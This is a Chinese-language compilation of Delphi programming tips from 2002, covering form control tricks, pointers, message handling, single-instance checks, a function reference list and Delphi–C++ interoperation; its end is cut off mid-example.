Delphi未经证实的葵花宝典

Delphi之未经证实的葵花宝典version 2.7

整理：hubdog

网页：http://hubdog.myrice.com(即将恢复更新）

更新信息：

版本 1.0
共有500多条编程技巧

版本1.5
更新：
增加了300多条编程技巧，删除了一些过时的技巧，更正了一些错误，把一些英文翻译为中文。

版本1.8

增加了150多条编程技巧，改正了上一版的页面乱码问题，对分类进行进一步调整。

版本2.1

增加了160多条新的技巧，其中包括了很多带图的篇幅很长的文章，所以这一版虽然内容增加的虽然不是最多，但是整个CHM文件大小还是翻了一翻到了4M以上。另外要注意的是更新过的技巧图标为带红色星号的图标，但不是所有的更新过的文件都更改了图标，阅读时注意辨别。

开设了新的栏目就是特邀专栏，本次增加了liguang的专栏。另外千中元答应在下一版中加入他的专栏。

版本2.5

增加了200多条新的技巧，全部更新的技巧都用带星号的图标显示。支持高级搜索。

版本2.7

本版本只是一个预览版，增加了一些新的技巧，还有很多没有整理（包括manusoft、千中元的专栏没有添加，将在3.0更新），版本中还存在有一些bug（如一些图片没有正确添加），另外我想当个人编程水平达到一定程度后，技巧已经不再是一个非常重要的问题了。所以未来只会少量添加非常好及系统的技巧，主要重点将放在整理系统设计，设计模式，OOP及泛型编程思想方面的知识。

hubdog
2002/01/30


妙用标识号

1、 Taborder Tabstop：

这组表识号本来是用来表示组件的按键顺序以及在该组件上是否停留的标识号。但是如果在某些时候稍微重视一下的话，将会事半功倍。下面略举一例：桌面上有几个编辑框，用户希望按回车键、上下方向键而不是TAB在其间来回游动。

> 属性及相关值：
MainFrame: KeyPreview = True
Edit_Name :TabOrder = 0;
Edit_Age :TabOrder = 1;
Edit_Adress :TabOrder = 2;

   > 代码及说明：
在interface 的private定义一个过程
procedure TForm1.Tab(Sender: TObject; var Key: Word;
Shift: TShiftState);
Begin
(**)
if (key=VK_Down) or (key=13) then
SelectNext(ActiveControl,True,True);
if key=VK_Up then
SelectNext(ActiveControl,False,True);
Key:=0;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Edit_Name. OnKeyDown  = Tab;
Edit_Age .OnKeyDown = Tab;
Edit_Adress . OnKeyDown = Tab;
end;
---- 当然，我们可以利用Delphi的灵活性更加方便的达到这个目的：移动到对象查看器，在Edit_Name的OnKeyDown中输入Tab后回车，Delphi自动创建该事件，然后将Edit_Age及Edit_Adress
    的OnKeyDown事件连接到Tab即可（方法很简单：分别到各组件的OnKeyDown事件处下拉并选择Tab即可）。

---- 2、 Tag：

---- 该属性也有很多比较精妙的用处，特别是在提炼代码的时候。

---- 下面略举一例（概括性的）：

case (Sender as TEdit).Tag of
10..100:begin
//处理过程
end;//end 10_100
//其他情况
end;//end case
---- 这样避免了分别为每个组件写代码的劳动，增强了程序的可读性，也减少了程序的体积。

---- 3、 Handle：

---- 这就是所谓的句柄，在Windows中，句柄是系统内部数据结构的引用。例如，我们正在使用某个窗体时，系统会知道正在使用的窗体的号码，也因此能接受我们的（应用程序）请求，对该窗体进行各种操作。当然，它不仅仅指的是我们平时常见的窗体句柄，还包括菜单、位图、图表、鼠标、菜单等。常规的用法不是我们这里要讨论的，比如：

procedure TForm1.ChangeTitleClick(Sender: TObject);
begin
SetWindowText(handle,'Liangming''s here');
end;
---- 下面举一个利用Handle传递位图的例子：

procedure TForm1.LoadBmpClick(Sender: TObject);
var
bmp:TBitmap;
begin
bmp:=TBitmap.Create;
try
bmp.LoadFromFile('c:\windows\setup.bmp');
with image1 do begin
Picture.Bitmap.Handle:=bmp.Handle;
Update;
Refresh;
end;
finally
bmp.Free;
end;
end;


指针运算

uses WinCRT;

procedure TForm1.Button1Click(Sender: TObject);
var
MyArray:
array[0..30] of char;
b: ^char;
i: integer;

begin
StrCopy(MyArray, 'Lloyd is the greatest!'); {get something to
point to}
b := @MyArray; { assign the pointer to the memory location
}
for i := StrLen(MyArray) downto 0 do
begin
write(b^);   { write out the char at the
current pointer location. }
inc(b);      { point to the next byte in memory
}
end;
end;

The following code demonstrates that the Inc() and Dec() functions
will increment or decrement accordingly by size of the type the pointer

points to:

var
P1, P2 : ^LongInt;
L : LongInt;
begin
P1
:= @L; { assign both pointers to the same place }
P2 := @L;
Inc(P2);  { Increment one }

{ Here we get the difference between the offset values of the
two pointers. Since we originally pointed to the same place in
memory, the result will tell us how much of a change occured
when we called Inc(). }

  L := Ofs(P2^) - Ofs(P1^); { L = 4; i.e. sizeof(longInt)
}
end;


把函数作为参数传给另一参数

type
AFunctionType = function(IntIn : integer) : integer;

function AddProc(IntIn : integer) : integer;
begin
Result := IntIn + 1;
end;

function SubProc(IntIn : integer) : integer;
begin
Result := IntIn - 2;
end;

procedure PassAFunction(var IntIn : integer;
fn : AFunctionType);
begin
IntIn := fn(IntIn);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
i : integer;

begin
i := 10;

PassAFunction(i, @AddProc);
ShowMessage(IntToStr(i));

PassAFunction(i, @SubProc);
ShowMessage(IntToStr(i));
end;


在应用程序中拖动控件

     在应用程序的开发中，常常要将某些控件对象(如标签)用鼠标选中后进行拖动操作，用以改变控件的位置，在Delphi中如何实现这一功能呢？笔者想了一个方法：通过在 public 中定义全局变量用以跟踪 鼠标在移动和拖动控件时的坐标，然后在拖动结束时将鼠标的坐标值赋给控件的 TOP和LEFT属性，以达到拖动的目的。
    举例如下：创建一个 Panel，再创建一个Label，通过编程使控件 Lable 可以在 Panel 中被拖放到任意位置。以下是具体实现过程：
    1.首先做一下准备工作，运行Delphi3.0，进入集成开发环境，在 File 菜单中选择New Application 。
    2.在Form1中创建对象 Panel1，并在 Panel1 中创建另一对象 Label1。
    3.选中Label1,修改其下列属性的值：
属性 值
Caption : 标签移动测试!
Cursor : crHandPoint
DragCursor : crDrag
DragMode : dmAutomatic
    4.在程序的开头部分声明全局变量 x_panel,y_panel,x_label,y_label
    其中,x_panel,y_panel :鼠标在Panel1上的坐标。
    x_label,y_label :鼠标在label1上的坐标。
    注：这里分别获取在Panel1和Label1上的坐标是为了更精确地计算出Label1实际的移动距离。
    5.在Panel1的OnDragOver 和OnMouseMove 事件中添加如下代码：
    x_panel:=X;
    y_panel:=Y;
    注：该操作是获得 mouse 在Panel1上的坐标。
    6.在Label1的OnMouseMove 事件中添加如下代码：
    x_Labell:=X;
    y_Label1:=Y;
    注：该操作是获得 mouse 在Label1上的坐标。
    7.在Label1的OnEndDrag 事件中添加如下代码：
    label1.left :=x_panel－x_label;
    label1.top :=y_panel－y_label;
    说明：两者相减是为了求得 label1 实际的移动距离。
    8.创建一个对象 Button1 ，并在其 OnClick 事件中添加如下代码：
    close; 用以关闭应用程序。
    好了，现在运行程序，测试一下结果。
    以下是程序源代码，在Delphi3.0、Windows95/98中测试通过。
unit test_move;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Panel1: TPanel;
Label1: TLabel;
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure Panel1MouseMove(Sender: TObject; Shift: TShiftState; X,Y: Integer);
procedure Panel1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X,Y: Integer);
procedure Label1EndDrag(Sender, Target: TObject; X, Y: Integer);
private
{ Private declarations }
public
{ Public declarations }
x_panel,y_panel,x_label,y_label:integer;
end;
var
Form1: TForm1;
implementation
{＄R ＊.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
close;
end;
procedure FTorm1.Panel1MouseMove
(Sender: TObject; Shift: TShiftState;
X,Y: Integer);
begin
x_panel:=X;
y_panel:=Y;
end;
procedure TForm1.Panel1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
x_panel:=X;
y_panel:=Y;
end;
procedure TForm1.Label1MouseMove(Sender: TObject; Shift: TShiftState;
X,Y: Integer);
begin
x_label:=X;
y_label:=Y;
end;
procedure TForm1.Label1EndDrag(Sender, Target: TObject; X, Y: Integer);
begin
label1.left :=x_panel－x_label;
label1.top:=y_panel－y_label;
end;
end.


激发异常处理例程

 示例：先给出下面的定义
type EPasswordInvalid=class(Exception);
这样你就可以随时引发一个"password invalid"的例外：
if Password<>CorrectPassword then
raise EPasswordInvalid.Create('Increect Password entered');
运行后，出现信息框
Project Project1.exe raise exception class EPasswordInvalid
with message 'Incorrect Password entered'. Process stopped.
Use step or run to continue.
再按Run按钮，出现一个信息框：
Incorrect Password entered.


函数EncodeDate，Assigned

EncodeDate(Year, Month, Day: Word): TDateTime;
给定year,month,day，这个函数可以返回一个TDateTime类型。
相关函数：DateToStr,EncodeTime,DecodeDate。

Assigned(p:pointer):boolean;
如果p为nil,返回false;否则返回true.但它无法判断p是否一个合法的指针。
示例：
var P:
Pointer;
begin
P := nil;
if Assigned (P) then Writeln
('You won''t see this');
GetMem(P, 1024); {P valid}
FreeMem(P, 1024); {P no longer valid and still not nil}
if
Assigned (P) then Writeln ('You''ll see this');
end;


鼠标击了哪一个对象

     在Win95中，鼠标的右键起到了很大的作用，但是，由于历史的原因，对于右键的使用即使在Delphi中，也还不够有效，下面的程序可以告诉你如何知道刚才鼠标右击的对象名称。首先建立一个popmenu，然后以下的代码就可以告诉你刚才右击的对象名称：
PopupMenu1.PopupComponent.ClassName


回车替Tab下移控件

需要用回车键代替TAB键下移一个控件时，把KeyPress设为True，加入下列代码拦截击键：
Procedure TForm1.FormKeyPress(Sender:Tobject;Var Key:Char);
Begin
  if key=#13 then { 判断是按执行键}
  if not (ActiveControl is TDbgrid) Then
  Begin { 不是在TDbgrid控件内}
    key:=#0;
    perform(WM_NEXTDLGCTL,0,0);{移动到下一个控件}
  end else
  if (ActiveControl is TDbgrid) Then{是在 TDbgrid 控件内}
  begin
    With TDbgrid(ActiveControl) Do
    if Selectedindex<(FieldCount-1) then

    Selectedindex:=Selectedindex+1{ 移动到下一字段}
else
Selectedindex:=0;
end;
End;


在程序执行期间让其他控件能响应消息

    当一段程序代码在执行一个很费时的操作（例如对软盘进行读写操作）时，其他控件将无法得到Windows的消息，换句话说，将一个过程被执行时，在该过程结束之前，应用程序的回调函数不会被Windows调用，也就无法响应系统消息。
    举例来说，如果在一个过程中改变了一个TLabel控件的Caption属性值，仅当该过程结束后用户才会在屏幕上看到TLabel控件被重画，如果你设计了一个拷贝文件的过程，并想在拷贝过程中不断地显示已拷贝的字节数，如果直接在拷贝操作的循环中改变要显示的字节数是不行的，用户实际上看不到这个不断变化的数字，因为当拷贝操作的过程未结束之前，其它控件根本未接收到重画消息。

    另一个极端的例子，如果你的程序要进行一个死循环，退出该死循环的条件是用户单击按钮Button2，那么你会发现在死循环执行期间，所有的控件都失效了，你的程序也就变成了一个大BUG。下面的代码示例显示了如何避免这一问题，该段程序的含义是当用户单击按钮Button1时开始执行死循环，单击Button2时退出这个死循环。

var
ExitFlag: Boolean = false;

procedure TForm1.Button1Click(Sender: TObject);
const
Busy: Boolean=false;
begin
if Busy then Exit; // 若已进入本过程则退出
Busy := true; //设立已进入本过程标志，这一句很重要
while true do begin

Application.ProcessMessages; // 让其他控件能获取消息
if ExitFlag then Break; // 若标志为真退出死循环
end;
Busy := false; // 清除已进入本过程标志
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ExitFlag := true;
end;

    上例中有两点很重要，其一是死循环中的Application.ProcessMessage，这句代码使程序的其他控件也能获取消息，如果没有这一句则程序会陷入死循环中；另一个重要的代码是在Button1Click过程开始处判断是否正在执行死循环，若是则直接退出，如果没有这个判断，则当用户重复单击Button1时可能导致代码重入，因为在过程中调用了ProcessMessage方法。


防止程序被重复执行

    Windows95的程序一般都可以重复执行，例如你按下WIN+E组合键即启动资源管理器，如果再按WIN+E组合键又会出现一个资源管理器，这两个程序互不干扰。有时候你可以需要制作这样一个程序：当该程序已经执行时，若用户企图再次执行该程序则只会激活那个已执行的程序，而不是又出现一个副本。
    完成这个目的的核心就是要在程序启动时查找该程序是否已经运行，我曾试过很多种方法，包括向“全局元素表”(Global ATOM Table)写特定字符串等等，但最简单的方法还是下面这个：

在程序启动时将Application的Title特性字段的值暂时改变。

利用Windows API函数FindWindows()查找窗口
恢复Application的Title值
    上述步骤一般在主Form的OnCreate事件中实现，示例如下：

procedure TForm1.FormCreate(Sender: TObject);
var
ZAppName: array[0..127] of char;
Hold: String;
Found: HWND;
begin
Hold := Application.Title;
Application.Title := 'OnlyOne'
+ IntToStr(HInstance); // 暂时修改窗口标题
StrPCopy(ZAppName, Hold); // 原窗口标题
Found := FindWindow(nil, ZAppName); // 查找窗口
Application.Title := Hold; // 恢复窗口标题
if Found<>0 then begin
// 若找到则激活已运行的程序并结束自身

ShowWindow(Found, SW_RESTORE);
Application.Terminate;
end;
end;


获得命令行参数

 1. 取得命令列参数的个数: ParamCount 函数
2. 呼叫 ParamStr(0), 传回执行档的档名(含路径)
3. 呼叫 ParamStr(n), 传回第ｎ个参数的内容
例子：
procedure TForm1.FormCreate(Sender: TObject);
var
  ix: integer;
begin
  Memo1.Lines.Clear;
  if ParamCount = 0 then
    Memo1.Lines.Add('??统??.')
  else
  begin
    Memo1.Lines.Add('档名:' + ParamStr(0));
    for ix := 1 to ParamCount do
    Memo1.Lines.Add(ParamStr(ix));
  end;
end;


常用函数

 Abort 函数 引起放弃的意外处理
Abs 函数 绝对值函数
AddExitProc 函数 将一过程添加到运行时库的结束过程表中
Addr 函数 返回指定对象的地址
AdjustLineBreaks 函数 将给定字符串的行分隔符调整为CR/LF序列
Align 属性 使控件位于窗口某部分
Alignment 属性 控件标签的文字位置
AllocMem 函数 在堆栈上分配给定大小的块
AllowGrayed 属性 允许一个灰度选择
AnsiCompareStr 函数 比较字符串（区分大小写）
AnsiCompareText 函数 比较字符串（不区分大小写）
AnsiLowerCase 函数 将字符转换为小写
AnsiUpperCase 函数 将字符转换为大写
Append 函数 以附加的方式打开已有的文件
ArcTan 函数 余切函数
AssignFile 函数 给文件变量赋一外部文件名
Assigned 函数 测试函数或过程变量是否为空
AutoSize 属性 自动控制标签的大小
BackgroundColor 属性 背景色
BeginThread 函数 以适当的方式建立用于内存管理的线程
BevelInner 属性 控件方框的内框方式
BevelOuter 属性 控件方框的外框方式
BevelWidth 属性 控件方框的外框宽度
BlockRead 函数 读一个或多个记录到变量中
BlockWrite 函数 从变量中写一个或多个记录
BorderStyle 属性 边界类型
BorderWidth 属性 边界宽度
Break 命令 终止for、while、repeat循环语句
Brush 属性 画刷
Caption 属性 标签文字的内容
ChangeFileExt 函数 改变文件的后缀
ChDir 函数 改变当前目录
Checked 属性 确定复选框选中状态
Chr 函数 返回指定序数的字符
CloseFile 命令 关闭打开的文件
Color 属性 标签的颜色
Columns 属性 显示的列数
CompareStr 函数 比较字符串（区分大小写）
Concat 函数 合并字符串
Continue 命令 继续for、while、repeat的下一个循环
Copy 函数 返回一字符串的子串
Cos 函数 余弦函数
Ctl3D 属性 是否具有3D效果
Cursor 属性 鼠标指针移入后的形状
Date 函数 返回当前的日期
DateTimeToFileDate 函数 将DELPHI的日期格式转换为DOS的日期格式
DateTimeToStr 函数 将日期时间格式转换为字符串
DateTimeToString 函数 将日期时间格式转换为字符串
DateToStr 函数 将日期格式转换为字符串
DayOfWeek 函数 返回星期的数值
Dec 函数 递减变量值
DecodeDate 函数 将日期格式分解为年月日
DecodeTime 函数 将时间格式分解为时、分、秒、毫秒
Delete 函数 从字符串中删除子串
DeleteFile 命令 删除文件
DiskFree 函数 返回剩余磁盘空间的大小
DiskSize 函数 返回指定磁盘的容量
Dispose 函数 释放动态变量所占的空间
DisposeStr 函数 释放字符串在堆栈中的内存空间
DitherBackground 属性 使背景色的色彩加重或减少50%
DragCursor 属性 当鼠标按下时光标的形状
DragMode 属性 按动的作用方式
DropDownCount 属性 容许的显示数据项的数目
EditMask 属性 编辑模式
Enabled 属性 是否使标签呈现打开状态
EncodeDate 函数 将年月日合成为日期格式
EncodeTime 函数 将时、分、秒、毫秒合成为时间格式
EndMargin 属性 末尾边缘
Eof 函数 对有类型或无类型文件测试是否到文件尾
Eoln 函数 返回文本文件的行结束状态
Erase 命令 删除外部文件
ExceptAddr 函数 返回引起当前意外的地址
Exclude 函数 从集合中删除一些元素
ExceptObject 函数 返回当前意外的索引
Exit 命令 立即从当前的语句块中退出
Exp 函数 指数函数
ExpandFileName 函数 返回包含绝对路径的字符串
ExtendedSelect 属性 是否允许存在选择模式，True时，MultiSelect才有意义
ExtractFileDir 函数 返回驱动器和路径
ExtractFileExt 函数 返回文件的后缀
ExtractFileName 函数 返回文件名
ExtractFilePath 函数 返回指定文件的路径
FileAge 函数 返回文件已存在的时间
FileClose 命令 关闭指定的文件
FileCreate 命令 用指定的文件名建立新文件
FileDateToDateTime 函数 将DOS的日期格式转换为DELPHI的日期格式
FileExists 函数 检查文件是否存在
FileGatAttr 函数 返回文件的属性
FileGetDate 函数 返回文件的DOS日期时间标记
FileOpen 命令 用指定的存取模式打开指定的文件
FilePos 函数 返回文件的当前指针位置
FileRead 命令 从指定的文件读取
FileSearch 命令 在目录中搜索指定的文件
FileSeek 函数 改变文件的指针
FileSetAttr 函数 设置文件属性
FileSetDate 函数 设置文件的DOS日期时间标记
FileSize 函数 返回当前文件的大小
FileWrite 函数 对指定的文件做写操作
FillChar 函数 用指定的值填充连续字节的数
FindClose 命令 终止FindFirst/FindNext序列
FindFirst 命令 对指定的文件名及属性搜索目录
FindNext 命令 返回与文件名及属性匹配的下一入口
FloatToDecimal 函数 将浮点数转换为十进制数
FloatToStrF 函数 将浮点数转换为字符串
FloatToStr 函数 将浮点数转换为字符串
FloatToText 函数 将给定的浮点数转换为十进制数
FloatToTextFmt 函数 将给定的浮点数转换为十进制数
Flush 函数 将缓冲区的内容刷新到输出的文本文件中
FmtLoadStr 函数 从程序的资源字符串表中装载字符串
FmtStr 函数 格式化一系列的参数，其结果以参数Result返回
Font 属性 设置字体
Format 函数 格式化一系列的参数并返回Pascal字符串
FormatBuf 函数 格式化一系列的参数
FormatDateTime 函数 用指定的格式来格式化日期和时间
FormatFloat 函数 指定浮点数格式
Frac 函数 返回参数的小数部分
FreeMem 函数 按给定大小释放动态变量所占的空间
GetDir 返回指定驱动器的当前目录
GetHeapStatus 返回内存管理器的当前状态
GetMem 建立一指定大小的动态变量，并将指针指向该处
GetMemoryManager 返回内存管理器的入口点
Glyph 函数 按钮上的图象
Halt 停止程序的执行并返回到操作系统
Hi 返回参数的高地址位
High 返回参数的上限值
Hint 属性 提示信息
Int 返回参数的整数部分
Include 添加元素到集合中
Insert 在字符串中插入子串
IntToHex 将整型数转换为十六进制数
IntToStr 将整型数转换为字符串
IOResult 返回最新的I/O操作完成状态
IsValidIdent 测试字符串是否为有效的标识符
Items 属性 默认显示的节点
Kind 属性 摆放样式
LargeChange 属性 最大改变值
Layout 属性 图象布局
Length 函数 返回字符串的动态长度
Lines 属性 缺省显示内容
Ln 函数 自然对数函数
Lo 函数 返回参数的低地址位
LoadStr 函数 从应用程序的可执行文件中装载字符资源
LowerCase 函数 将给定的字符串变为小写
Low 函数 返回参数的下限值
Max 属性 最大值
MaxLength 属性 最大长度
Min 属性 最小值
MkDir 命令 建立一子目录
Move 函数 从源到目标复制字节
MultiSelect 属性 允许同时选择几个数据项
Name 属性 控件的名字
New 函数 建立新的动态变量并设置一指针变量指向他
NewStr 函数 在堆栈上分配新的字符串
Now 函数 返回当前的日期和时间
Odd 测试参数是否为奇数
OnActivate 事件 焦点移到窗体上时触发
OnClick 事件 单击窗体空白区域触发
OnDblClick 事件 双击窗体空白区域触发
OnCloseQuery 事件 使用者试图关闭窗体触发
OnClose 事件 窗体关闭后才触发
OnCreate 事件 窗体第一次创建时触发
OnDeactivate 事件 用户切换到另一应用程序触发
OnDragDrop 事件 鼠标拖放操作结束时触发
OnDragOver 事件 有其他控件从他上面移过触发
OnMouseDown 事件 按下鼠标键时触发
OnMouseUp 事件 释放鼠标键时触发
OnMouseMove 事件 移动鼠标时触发
OnHide 事件 隐藏窗体时触发
OnKeyDown 事件 按下键盘某键时触发
OnKeyPress 事件 按下键盘上的单个字符键时触发
OnKeyUp 事件 释放键盘上的某键时触发
OnPaint 事件 窗体上有新部分暴露出来触发
OnResize 事件 重新调整窗体大小触发
OnShow 事件 在窗体实际显示之前瞬间触发
Ord 返回序数类的序数
OutlineStyle 属性 类型
OutOfMemoryError 引起OutOfMemory意外
PageIndex 属性 页索引
Pages 属性 页
ParamCount 函数 返回在命令行上传递给程序的参数数量
ParamStr 函数 返回指定的命令行参数
Pen 属性 画刷设置
Pi 函数 返回圆周率Pi
Picture 属性 显示图象
PictureClosed 属性 设置Closed位图
PictureLeaf 属性 设置Leaf位图
PictureMinus 属性 设置Minus位图
PictureOpen 属性 设置Open位图
PicturePlus 属性 设置Plus位图
Pos 函数 在字符串中搜索子串
Pred 函数 返回先前的参数
Random 函数 返回一随机函数
Randomize 函数 用一随机数初始化内置的随机数生成器
Read 函数 对有格式的文件，读一文件组件到变量中；
对文本文件，读一个或多个值到一个或多个变量中
Readln 函数 执行Read过程，然后跳到文件下一行
ReadOnly 属性 只读属性
ReAllocMem 函数 分配一动态变量
Rename 函数 重命名外部文件
RenameFile 函数 对文件重命名
Reset 函数 打开已有的文件
Rewrite 函数 建立并打开一新的文件
RmDir 函数 删除空的子目录
Round 函数 将实数值舍入为整型值
RunError 函数 停止程序的执行
ScrollBars 属性 滚动条状态
Seek 函数 将文件的当前指针移动到指定的组件上
SeekEof 函数 返回文件的文件结束状态
SeekEoln 函数 返回文件的行结束状态
SelectedColor 属性 选中颜色
SetMemoryManager 函数 设置内存管理器的入口点
SetTextBuf 函数 给文本文件指定I/O缓冲区
Shape 属性 显示的形状
ShowException 函数 显示意外消息与地址
Sin 函数 正弦函数
SizeOf 函数 返回参数所占的字节数
SmallChange 属性 最小改变值
Sorted 属性 是否允许排序
Sqr 函数 平方函数
Sqrt 函数 平方根函数
StartMargin 属性 开始边缘
State 属性 控件当前状态
Str 函数 将数值转换为字符串
StrAlloc 函数 给以NULL结束的字符串分配最大长度-1的缓冲区
StrBufSize 函数 返回存储在由StrAlloc分配的字符缓冲区的最大字符数
StrCat 函数 将一字符串附加到另一字符串尾并返回合并的字符串
StrComp 函数 比较两个字符串
StrCopy 函数 将一个字符串复制到另一个字符串中
StrDispose 函数 释放堆栈上的字符串
StrECopy 函数 将一字符串复制到另一个字符串并返回结果字符串尾部的指针
StrEnd 函数 返回指向字符串尾部的指针
Stretch 属性 自动适应控件的大小
StrFmt 函数 格式化一系列的参数
StrIComp 函数 比较两个字符串（不区分大小写）
StringToWideChar 函数 将ANSI字符串转换为UNICODE字符串
StrLCat 函数 将一字符串中的字符附加到另一字符串尾并返回合并的字符串
StrLComp 函数 以最大长度比较两个字符串
StrLCopy 函数 将一个字符串中的字符复制到另一个字符串中
StrLen 函数 返回字符串中的字符数
StrLFmt 函数 格式化一系列的参数，其结果中包含有指向目标缓冲区的指针
StrLIComp 函数 以最大长度比较两个字符串（不区分大小写）
StrLower 函数 将字符串中的字符转换为小写
StrMove 函数 将一个字符串中的字符复制到另一个字符串中
StrNew 函数 在堆栈上分配一个字符串
StrPas 函数 将以NULL结束的字符串转换为PASCAL类的字符串
StrPCopy 函数 将PASCAL类的字符串复制为以NULL结束的字符串
StrPLCopy 函数 从PASCAL类的最大长度字符串复制为以NULL结束的字符串
StrPos 函数 返回一个字符串在另一个字符串中首次出现指针
StrRScan 函数 返回字符串中最后出现字符的指针
StrScan 函数 返回字符串中出现首字符的指针
StrToDate 函数 将字符串转换为日期格式
StrToDateTime 函数 将字符串转换为日期/时间格式
StrToFloat 函数 将给定的字符串转换为浮点数
StrToInt 函数 将字符串转换为整型
StrToIntDef 函数 将字符串转换为整型或默认值
StrToTime 函数 将字符串转换为时间格式
StrUpper 函数 将字符串中的字符转换为大写
Style 属性 类型选择
Suce 函数 返回后继的参数
Swap 函数 交换参数的高低地址位
Tabs 属性 标记每一项的内容
TabIndex 属性 标记索引
Text 属性 显示的文本
TextToFloat 函数 将字符串（以NULL结束的格式）转换为浮点数
Time 函数 返回当前的时间
TimeToStr 函数 将时间格式转换为字符串
Trim 函数 从给定的字符串中删除前导和尾部的空格及控制字符
TrimLeft 函数 从给定的字符串中删除首部的空格及控制字符
TrimRight 函数 从给定的字符串中删除尾部的空格及控制字符
Trunc 函数 将实型值截取为整型值
Truncate 函数 截去当前文件位置后的内容
UnSelectedColor 属性 未选中颜色
UpCase 将字符转换为大写
UpperCase 将给定的字符串变为大写
Val 函数 将字符串转换为整型值
VarArrayCreate 函数 以给定的界限和维数建立变体数组
VarArrayDimCount 函数 返回给定变体的维数
VarArrayHighBound 函数 返回给定变体数组维数的上界
VarArrayLock 函数 锁定给定的变体数组
VarArrayLowBound 函数 返回给定变体数组维数的下界
VarArrayOf 函数 返回指定变体的数组元素
VarArrayRedim 函数 通过改变上限来调整变体的大小
VarArrayUnlock 函数 解锁指定的变体数组
VarAsType 函数 将变体转换为指定的类型
VarCase 函数 将变体转换为指定的类型并保存他
VarClear 函数 清除指定的变体
VarCopy 函数 将指定的变体复制为指定的变体
VarFormDateTime 函数 返回包含日期时间的变体
VarIsArray 函数 测试变体是否为数组
VarIsEmpty 函数 测试变体是否为UNASSIGNED
VarIsNull 函数 测试变体是否为NULL
VarToDateTime 函数 将给定的变体转换为日期时间
VarType 函数 将变体转换为指定的类型并保存他
Visible 属性 控件的可见性
WantReturns 属性 为True时，按回车键产生一个回车符；
为False时，按下Ctrl+Enter才产生回车符
Write 命令 对有格式的文件，写一变量到文件组件中；
对文本文件，写一个或多个值到文件中
Writeln 命令 执行WRITE过程，然后输出一行结束标志
WideCharLenToString 函数 将ANSI字符串转换为UNICODE字符串
WideCharLenToStrWar 函数 将UNICODE字符串转换为ANSI字符串变量
WideCharToString 函数 将UNICODE字符串转换为ANSI字符串
WideCharToStrVar 函数 将UNICODE字符串转换为ANSI字符串变量


在Delphi与C++之间实现函数与对象共享

delphi以其独特的面向控件的开发方式、强大的数据库功能以及快速的编译技术,使得它自发布起即格外引人注意。随着delphi 3提供丰富的internet应用,delphi日益成为最重要的软件开发工具之一,它吸引了许多原visual basic、foxpro、dbase甚至c++的程序员,而这些程序员使用delphi时需要解决的一个重要问题就是怎样利用他们原有的代码。本文将介绍delphi与c++程序集成的方法,包括s delphi与c++之间函数的共享;s 代码的静态链接和动态链接;s 对象的共享。

函数的共享

在delphi中调用c++函数与c++调用delphi函数相当直接,需要注意的是,delphi 1默认的函数调用方式是pascal方式,delphi 2、delphi 3的默认方式则是优化的cdecl调用方式,即register方式。要在c++与delphi程序之间实现函数共享,除非有充分的原因,否则应该使用标准系统调用方式,即stdcall方式。为了使c++编译器不将函数标记为"mang led",使delphi编译器误认为函数是采用cdecl调用方式,应该在c++代码中,以extern "c "说明被共享的函数,如下例所示:

原型说明:

在c++中:

extern "c" int _stdcall testfunc();

在delphi中:

function testfunc:integer; stdcall;

调用语法:

在c++中:

int i=testfunc();

在delphi中:

var i:integer;
…
begin
…
i:=testfunc;
…
end;

共享函数的参数必须是两种语言都支持的变量类型,这是正确传递参数的前提。诸如delphi的currency、string、set等变量类型,在c++中没有相对应的变量类型,不能被用作共享函数的参数。可以用pchar类型以值参的方式传递字符串指针,这时用户必须注意字符串空间的回收。delphi语言中的变参应被说明成c++中相应变量类型的引用形式,如下:

在delphi中:

function testfunc(var i:integer):integer;

在c++中:

int testfunc(int &i);

代码链接

在delphi与c++之间实现代码链接可采用静态链接或动态链接的方式。

1.静态链接方式

如果c++程序本身的代码量很小,而且无需担心与c运行库会有交互过程,一般可选用静态链接方式,即把delphi与c++的目标文件(*.obj)链接成最终的可执行文件。具体的方法是使用{$l}编译指令,使delphi编译器自动读取指定目标文件,说明如下:

function testfunc:integer;stdcall;

{$l testfunc.obj}

2.动态链接方式

如果c++代码已经相当全面或自成一个完整的子系统,代码量很大,或者用到了c运行库,在这种情况下,应该使用动态链接库(dll)的方式。此时,在两种语言的源代码中应做如下说明:

在c++中:

int stdcall export testfunc();

在delphi中:

function testfunc:integer; stdcall;
external ‘testfunc.dll’;

对象的共享

在c++与delphi之间的对象共享主要体现在对象方法(method)的共享方面,这种共享可分为两个层次:对象(object)级共享与类(class)级共享。

要实现对象级共享,程序设计语言需具备两个前提条件:
s 能够定义指向由另一语言创建的对象的指针;
s 可以访问由指针确定的对象中的方法。
要实现类级的共享,则还需考虑:
s 能够创建由另一种语言定义的类的实例;
s 可以从堆中释放一个实例所占用的空间;
s 派生新的类。

以下介绍在delphi与borland c++之间实现对象共享的方法。

1.c++共享delphi对象

要实现从c++调用delphi对象,首先要在delphi单元的接口部分以及c++的头文件中说明需要共享的对象的接口,在对象接口中定义该对象包含哪些属性与方法,并说明可供共享的部分。对象的共享,关键在于方法的共享。在delphi语言中,要使一个对象可以被共享,可以把它说明为两个接口部分,暂称为"共享接口"与"实现接口"。其中共享接口指明对象中哪些方法可被另一种语言所共享;实现接口则继承共享接口,并且在单元实现部分针对实现接口中的方法定义具体的实现。

要定义一个可供c++共享的delphi对象,共享接口的说明应注意s 在delphi程序里,要共享的方法必须被说明为抽象(abstract),而且虚拟(virtual );s 在c++程序里,必须用关键字"virtual"及"=0"后缀,把从delphi共享的方法说明成"pure virtual";s 共享的对象方法必须在两种语言里都被说明成相同的调用方式,通常使用标准系统调用方式(stdcall)。下面,举例说明这些规则,假设有这样的一个delphi对象:

ttestobject=class

procedure proc1(x:integer);
function func1(x:integer):pchar;
procedure proc2;
function func2:integer;
end;

如果c++程序需要共享其中的方法proc1、func1,可把上述说明修改成以下形式:

stestobject=class
procedure proc1(x:integer); virtual; abstract; stdcall;
function func1(x:integer); virtual; abstract; stdcall;
end;

ttestobject=class(stestobject)
procedure proc1(x:integer);
